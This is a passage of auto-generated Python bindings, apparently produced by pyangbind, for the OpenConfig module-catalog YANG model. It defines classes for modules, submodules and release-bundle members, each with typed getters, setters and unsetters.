register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'modules', 'module', 'submodules'] def _get_submodule(self): """ Getter method for submodule, mapped from YANG variable /organizations/organization/modules/module/submodules/submodule (list) YANG Description: List of submodules included by a module. All submodules specified by 'include' statements in the module should be included in this list. """ return self.__submodule def _set_submodule(self, v, load=False): """ Setter method for submodule, mapped from YANG variable /organizations/organization/modules/module/submodules/submodule (list) If this variable is read-only (config: false) in the source YANG file, then _set_submodule is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_submodule() directly. YANG Description: List of submodules included by a module. All submodules specified by 'include' statements in the module should be included in this list. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGListType("name",yc_submodule_openconfig_module_catalog__organizations_organization_modules_module_submodules_submodule, yang_name="submodule", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name', extensions=None), is_container='list', yang_name="submodule", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """submodule must be of a type compatible with list""", 'defined-type': "list", 'generated-type': """YANGDynClass(base=YANGListType("name",yc_submodule_openconfig_module_catalog__organizations_organization_modules_module_submodules_submodule, yang_name="submodule", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name', extensions=None), is_container='list', yang_name="submodule", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True)""", }) self.__submodule = t if hasattr(self, '_set'): self._set() def _unset_submodule(self): self.__submodule = YANGDynClass(base=YANGListType("name",yc_submodule_openconfig_module_catalog__organizations_organization_modules_module_submodules_submodule, yang_name="submodule", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name', extensions=None), is_container='list', yang_name="submodule", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) submodule = __builtin__.property(_get_submodule, _set_submodule) _pyangbind_elements = OrderedDict([('submodule', submodule), ]) class yc_module_openconfig_module_catalog__organizations_organization_modules_module(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/modules/module. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: List of published modules from the organization """ __slots__ = ('_path_helper', '_extmethods', '__name','__version','__namespace','__prefix','__revision','__summary','__classification','__dependencies','__access','__submodules',) _yang_name = 'module' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__name = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) self.__version = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) self.__namespace = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="namespace", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) self.__prefix = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="prefix", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) self.__revision = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="revision", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) self.__summary = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="summary", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) self.__classification = YANGDynClass(base=yc_classification_openconfig_module_catalog__organizations_organization_modules_module_classification, is_container='container', yang_name="classification", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) self.__dependencies = YANGDynClass(base=yc_dependencies_openconfig_module_catalog__organizations_organization_modules_module_dependencies, is_container='container', yang_name="dependencies", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) self.__access = YANGDynClass(base=yc_access_openconfig_module_catalog__organizations_organization_modules_module_access, is_container='container', yang_name="access", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) self.__submodules = YANGDynClass(base=yc_submodules_openconfig_module_catalog__organizations_organization_modules_module_submodules, is_container='container', yang_name="submodules", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'modules', 'module'] def _get_name(self): """ Getter method for name, mapped from YANG variable /organizations/organization/modules/module/name (string) YANG Description: The name of the module or bundle. For modules, this should reflect the 'module' or 'submodule' statement in the YANG module file. For bundles, this is the canonical name for the overall bundle of modules which is to be released together. This name should be consistent over multiple releases """ return self.__name def _set_name(self, v, load=False): """ Setter method for name, mapped from YANG variable /organizations/organization/modules/module/name (string) If this variable is read-only (config: false) in the source YANG file, then _set_name is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_name() directly. YANG Description: The name of the module or bundle. For modules, this should reflect the 'module' or 'submodule' statement in the YANG module file. For bundles, this is the canonical name for the overall bundle of modules which is to be released together. This name should be consistent over multiple releases """ parent = getattr(self, "_parent", None) if parent is not None and load is False: raise AttributeError("Cannot set keys directly when" + " within an instantiated list") if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """name must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__name = t if hasattr(self, '_set'): self._set() def _unset_name(self): self.__name = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) def _get_version(self): """ Getter method for version, mapped from YANG variable /organizations/organization/modules/module/version (oc-cat-types:module-version-type) YANG Description: For individual modules, this is the version number, e.g., a semantic version. The version may be the same as the date indicated in the module revision statement. For bundles, this is a semantic version number for the overall bundle. This version is to be defined as per the approach specified in the OpenConfig semantic version guidance - and is of the form x.y.z, where x is the major version, y is the minor version, and z is the patch level """ return self.__version def _set_version(self, v, load=False): """ Setter method for version, mapped from YANG variable /organizations/organization/modules/module/version (oc-cat-types:module-version-type) If this variable is read-only (config: false) in the source YANG file, then _set_version is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_version() directly. YANG Description: For individual modules, this is the version number, e.g., a semantic version. The version may be the same as the date indicated in the module revision statement. For bundles, this is a semantic version number for the overall bundle. This version is to be defined as per the approach specified in the OpenConfig semantic version guidance - and is of the form x.y.z, where x is the major version, y is the minor version, and z is the patch level """ parent = getattr(self, "_parent", None) if parent is not None and load is False: raise AttributeError("Cannot set keys directly when" + " within an instantiated list") if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """version must be of a type compatible with oc-cat-types:module-version-type""", 'defined-type': "oc-cat-types:module-version-type", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True)""", }) self.__version = t if hasattr(self, '_set'): self._set() def _unset_version(self): self.__version = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) def _get_namespace(self): """ Getter method for namespace, mapped from YANG variable /organizations/organization/modules/module/namespace (string) YANG Description: Published namespace of module, i.e., defined by the 'namespace' """ return self.__namespace def _set_namespace(self, v, load=False): """ Setter method for namespace, mapped from YANG variable /organizations/organization/modules/module/namespace (string) If this variable is read-only (config: false) in the source YANG file, then _set_namespace is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_namespace() directly. YANG Description: Published namespace of module, i.e., defined by the 'namespace' """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="namespace", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """namespace must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="namespace", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__namespace = t if hasattr(self, '_set'): self._set() def _unset_namespace(self): self.__namespace = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="namespace", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) def _get_prefix(self): """ Getter method for prefix, mapped from YANG variable /organizations/organization/modules/module/prefix (string) YANG Description: Published prefix of the module """ return self.__prefix def _set_prefix(self, v, load=False): """ Setter method for prefix, mapped from YANG variable /organizations/organization/modules/module/prefix (string) If this variable is read-only (config: false) in the source YANG file, then _set_prefix is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_prefix() directly. YANG Description: Published prefix of the module """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="prefix", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """prefix must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="prefix", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__prefix = t if hasattr(self, '_set'): self._set() def _unset_prefix(self): self.__prefix = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="prefix", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) def _get_revision(self): """ Getter method for revision, mapped from YANG variable /organizations/organization/modules/module/revision (string) YANG Description: Date in the revision statement of the module """ return self.__revision def _set_revision(self, v, load=False): """ Setter method for revision, mapped from YANG variable /organizations/organization/modules/module/revision (string) If this variable is read-only (config: false) in the source YANG file, then _set_revision is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_revision() directly. YANG Description: Date in the revision statement of the module """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="revision", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """revision must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="revision", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__revision = t if hasattr(self, '_set'): self._set() def _unset_revision(self): self.__revision = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="revision", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) def _get_summary(self): """ Getter method for summary, mapped from YANG variable /organizations/organization/modules/module/summary (string) YANG Description: Summary description of the module """ return self.__summary def _set_summary(self, v, load=False): """ Setter method for summary, mapped from YANG variable /organizations/organization/modules/module/summary (string) If this variable is read-only (config: false) in the source YANG file, then _set_summary is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_summary() directly. YANG Description: Summary description of the module """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="summary", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """summary must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="summary", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__summary = t if hasattr(self, '_set'): self._set() def _unset_summary(self): self.__summary = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="summary", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) def _get_classification(self): """ Getter method for classification, mapped from YANG variable /organizations/organization/modules/module/classification (container) YANG Description: Container for data describing the module's classification """ return self.__classification def _set_classification(self, v, load=False): """ Setter method for classification, mapped from YANG variable /organizations/organization/modules/module/classification (container) If this variable is read-only (config: false) in the source YANG file, then _set_classification is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_classification() directly. YANG Description: Container for data describing the module's classification """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=yc_classification_openconfig_module_catalog__organizations_organization_modules_module_classification, is_container='container', yang_name="classification", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """classification must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=yc_classification_openconfig_module_catalog__organizations_organization_modules_module_classification, is_container='container', yang_name="classification", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True)""", }) self.__classification = t if hasattr(self, '_set'): self._set() def _unset_classification(self): self.__classification = YANGDynClass(base=yc_classification_openconfig_module_catalog__organizations_organization_modules_module_classification, is_container='container', yang_name="classification", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) def _get_dependencies(self): """ Getter method for dependencies, mapped from YANG variable /organizations/organization/modules/module/dependencies (container) YANG Description: Data about dependencies of the module """ return self.__dependencies def _set_dependencies(self, v, load=False): """ Setter method for dependencies, mapped from YANG variable /organizations/organization/modules/module/dependencies (container) If this variable is read-only (config: false) in the source YANG file, then _set_dependencies is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_dependencies() directly. YANG Description: Data about dependencies of the module """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=yc_dependencies_openconfig_module_catalog__organizations_organization_modules_module_dependencies, is_container='container', yang_name="dependencies", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """dependencies must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=yc_dependencies_openconfig_module_catalog__organizations_organization_modules_module_dependencies, is_container='container', yang_name="dependencies", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True)""", }) self.__dependencies = t if hasattr(self, '_set'): self._set() def _unset_dependencies(self): self.__dependencies = YANGDynClass(base=yc_dependencies_openconfig_module_catalog__organizations_organization_modules_module_dependencies, is_container='container', yang_name="dependencies", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) def _get_access(self): """ Getter method for access, mapped from YANG variable /organizations/organization/modules/module/access (container) YANG Description: Container for data pertaining to retrieval and usage of the module """ return self.__access def _set_access(self, v, load=False): """ Setter method for access, mapped from YANG variable /organizations/organization/modules/module/access (container) If this variable is read-only (config: false) in the source YANG file, then _set_access is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_access() directly. YANG Description: Container for data pertaining to retrieval and usage of the module """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=yc_access_openconfig_module_catalog__organizations_organization_modules_module_access, is_container='container', yang_name="access", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """access must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=yc_access_openconfig_module_catalog__organizations_organization_modules_module_access, is_container='container', yang_name="access", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True)""", }) self.__access = t if hasattr(self, '_set'): self._set() def _unset_access(self): self.__access = YANGDynClass(base=yc_access_openconfig_module_catalog__organizations_organization_modules_module_access, is_container='container', yang_name="access", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) def _get_submodules(self): """ Getter method for submodules, mapped from YANG variable /organizations/organization/modules/module/submodules (container) YANG Description: Data for the submodules belonging to a submodule. If the module does not have any submodules, this container should be empty. """ return self.__submodules def _set_submodules(self, v, load=False): """ Setter method for submodules, mapped from YANG variable /organizations/organization/modules/module/submodules (container) If this variable is read-only (config: false) in the source YANG file, then _set_submodules is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_submodules() directly. YANG Description: Data for the submodules belonging to a submodule. If the module does not have any submodules, this container should be empty. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=yc_submodules_openconfig_module_catalog__organizations_organization_modules_module_submodules, is_container='container', yang_name="submodules", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """submodules must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=yc_submodules_openconfig_module_catalog__organizations_organization_modules_module_submodules, is_container='container', yang_name="submodules", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True)""", }) self.__submodules = t if hasattr(self, '_set'): self._set() def _unset_submodules(self): self.__submodules = YANGDynClass(base=yc_submodules_openconfig_module_catalog__organizations_organization_modules_module_submodules, is_container='container', yang_name="submodules", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) name = __builtin__.property(_get_name, _set_name) version = __builtin__.property(_get_version, _set_version) namespace = __builtin__.property(_get_namespace, _set_namespace) prefix = __builtin__.property(_get_prefix, _set_prefix) revision = __builtin__.property(_get_revision, _set_revision) summary = __builtin__.property(_get_summary, _set_summary) classification = __builtin__.property(_get_classification, _set_classification) dependencies = __builtin__.property(_get_dependencies, _set_dependencies) access = __builtin__.property(_get_access, _set_access) submodules = __builtin__.property(_get_submodules, _set_submodules) _pyangbind_elements = OrderedDict([('name', name), ('version', version), ('namespace', namespace), ('prefix', prefix), ('revision', revision), ('summary', summary), ('classification', classification), ('dependencies', dependencies), ('access', access), ('submodules', submodules), ]) class yc_modules_openconfig_module_catalog__organizations_organization_modules(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/modules. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Modules published by this organization """ __slots__ = ('_path_helper', '_extmethods', '__module',) _yang_name = 'modules' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__module = YANGDynClass(base=YANGListType("name version",yc_module_openconfig_module_catalog__organizations_organization_modules_module, yang_name="module", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name version', extensions=None), is_container='list', yang_name="module", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'modules'] def _get_module(self): """ Getter method for module, mapped from YANG variable /organizations/organization/modules/module (list) YANG Description: List of published modules from the organization """ return self.__module def _set_module(self, v, load=False): """ Setter method for module, mapped from YANG variable /organizations/organization/modules/module (list) If this variable is read-only (config: false) in the source YANG file, then _set_module is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_module() directly. YANG Description: List of published modules from the organization """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGListType("name version",yc_module_openconfig_module_catalog__organizations_organization_modules_module, yang_name="module", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name version', extensions=None), is_container='list', yang_name="module", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """module must be of a type compatible with list""", 'defined-type': "list", 'generated-type': """YANGDynClass(base=YANGListType("name version",yc_module_openconfig_module_catalog__organizations_organization_modules_module, yang_name="module", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name version', extensions=None), is_container='list', yang_name="module", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True)""", }) self.__module = t if hasattr(self, '_set'): self._set() def _unset_module(self): self.__module = YANGDynClass(base=YANGListType("name version",yc_module_openconfig_module_catalog__organizations_organization_modules_module, yang_name="module", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name version', extensions=None), is_container='list', yang_name="module", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) module = __builtin__.property(_get_module, _set_module) _pyangbind_elements = OrderedDict([('module', module), ]) class yc_member_openconfig_module_catalog__organizations_organization_release_bundles_release_bundle_members_member(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/release-bundles/release-bundle/members/member. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: A set of modules or bundles which are part of the bundle of models. For example, if 'ietf-yang-types' were to be specified within the bundle, then this would refer to the individual entry within the module catalogue. If the type of the entry is set to bundle, then for example, openconfig-bgp could be referenced - which itself consists of separate modules. """ __slots__ = ('_path_helper', '_extmethods', '__id','__type','__module','__release_bundle','__publisher','__compatible_versions',) _yang_name = 'member' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__id = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) self.__type = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'MODULE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:MODULE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'RELEASE_BUNDLE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:RELEASE_BUNDLE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'FEATURE_BUNDLE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:FEATURE_BUNDLE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True) self.__module = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="module", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) self.__release_bundle = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="release-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) self.__publisher = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="publisher", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) self.__compatible_versions = 